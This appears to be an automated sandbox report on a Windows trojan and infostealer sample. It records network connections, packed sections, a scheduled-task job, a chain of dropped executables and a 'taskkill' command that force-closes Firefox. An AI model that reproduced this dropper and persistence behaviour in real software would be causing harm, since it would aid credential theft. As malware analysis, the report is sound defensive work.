Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.4:50050 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 8X6R8OO7U6CNLMSAL.exe, 00000015.00000002.2919840607.0000000000262000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_fa692f1b-b
Source: 8X6R8OO7U6CNLMSAL.exe, 00000015.00000002.2919840607.0000000000262000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_fa96ee07-5
Source: 8X6R8OO7U6CNLMSAL.exe.11.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_10268e79-2
Source: 8X6R8OO7U6CNLMSAL.exe.11.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_b6ab8011-e

PE file contains section with special chars

Source: h3yRbjNWk1.exe	Static PE information: section name:
Source: h3yRbjNWk1.exe	Static PE information: section name: .idata
Source: h3yRbjNWk1.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: ea2c7beae0.exe.6.dr	Static PE information: section name:
Source: ea2c7beae0.exe.6.dr	Static PE information: section name: .rsrc
Source: ea2c7beae0.exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name:
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name: .rsrc
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name: .idata
Source: 6a8d4317d4.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name:
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name: .idata
Source: 4af6eb3e1f.exe.6.dr	Static PE information: section name:
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name:
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name: .rsrc
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name: .idata
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: section name:
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name:
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name: .idata
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A5E530	6_2_00A5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A978BB	6_2_00A978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A98860	6_2_00A98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A97049	6_2_00A97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A931A8	6_2_00A931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A54DE0	6_2_00A54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A92D10	6_2_00A92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A9779B	6_2_00A9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A54B30	6_2_00A54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00A87F36	6_2_00A87F36
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B40228	7_2_00B40228
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B6E8A0	7_2_00B6E8A0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B7A0D0	7_2_00B7A0D0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B42030	7_2_00B42030
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B3E1A0	7_2_00B3E1A0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B35160	7_2_00B35160
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B74A40	7_2_00B74A40
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B3A300	7_2_00B3A300
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B37CA4	7_2_00B37CA4
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B4049B	7_2_00B4049B
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B44487	7_2_00B44487
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B5CCD0	7_2_00B5CCD0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B5C470	7_2_00B5C470
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B335B0	7_2_00B335B0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B4C5F0	7_2_00B4C5F0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B5FD10	7_2_00B5FD10
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B3BEB0	7_2_00B3BEB0
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B46EBF	7_2_00B46EBF
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Code function: 7_2_00B3AF10	7_2_00B3AF10

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Code function: String function: 00B4D300 appears 47 times

Source: h3yRbjNWk1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: h3yRbjNWk1.exe	Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: h3yRbjNWk1.exe	Static PE information: Section: mjkoefrk ZLIB complexity 0.9941899341902709
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: skotes.exe.0.dr	Static PE information: Section: mjkoefrk ZLIB complexity 0.9941899341902709
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993038366336634
Source: ea2c7beae0.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9993038366336634
Source: random[1].exe0.6.dr	Static PE information: Section: nsvghvat ZLIB complexity 0.9949761059403738
Source: 6a8d4317d4.exe.6.dr	Static PE information: Section: nsvghvat ZLIB complexity 0.9949761059403738
Source: random[1].exe1.6.dr	Static PE information: Section: vnhbgiry ZLIB complexity 0.9948363783965363
Source: 4af6eb3e1f.exe.6.dr	Static PE information: Section: vnhbgiry ZLIB complexity 0.9948363783965363
Source: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe.11.dr	Static PE information: Section: nsvghvat ZLIB complexity 0.9949761059403738
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe.11.dr	Static PE information: Section: mjkoefrk ZLIB complexity 0.9941899341902709

Source: 6a8d4317d4.exe, 00000008.00000003.2496940953.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, 6a8d4317d4.exe, 00000008.00000002.2538148341.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, 6a8d4317d4.exe, 0000000E.00000003.2654891019.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, 6a8d4317d4.exe, 0000000E.00000002.2695730886.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, num.exe, 0000000F.00000002.2730597985.000000000066E000.00000002.00000001.01000000.0000000E.sdmp, num.exe, 0000000F.00000000.2678893540.000000000066E000.00000002.00000001.01000000.0000000E.sdmp, 6a8d4317d4.exe, 00000011.00000002.2864835627.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, 6a8d4317d4.exe, 00000011.00000003.2821857520.0000000005490000.00000004.00001000.00020000.00000000.sdmp, TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe, 00000012.00000003.2881192763.0000000005160000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000013.00000002.2900637213.000000000066E000.00000002.00000001.01000000.0000000E.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@31/15@36/6

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7080:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: h3yRbjNWk1.exe

ReversingLabs: Detection: 44%

Source: h3yRbjNWk1.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 6a8d4317d4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe

File read: C:\Users\user\Desktop\h3yRbjNWk1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\h3yRbjNWk1.exe "C:\Users\user\Desktop\h3yRbjNWk1.exe"
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe "C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\1000350002\6a8d4317d4.exe "C:\Users\user\1000350002\6a8d4317d4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe "C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe "C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\1000350002\6a8d4317d4.exe "C:\Users\user\1000350002\6a8d4317d4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000401001\num.exe "C:\Users\user\AppData\Local\Temp\1000401001\num.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe "C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe"
Source: unknown	Process created: C:\Users\user\1000350002\6a8d4317d4.exe "C:\Users\user\1000350002\6a8d4317d4.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process created: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe "C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000401001\num.exe "C:\Users\user\AppData\Local\Temp\1000401001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process created: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe "C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process created: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe "C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe"
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe "C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\1000350002\6a8d4317d4.exe "C:\Users\user\1000350002\6a8d4317d4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe "C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000401001\num.exe "C:\Users\user\AppData\Local\Temp\1000401001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process created: C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe "C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process created: C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe "C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Process created: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe "C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: ntmarta.dll	Jump to behavior
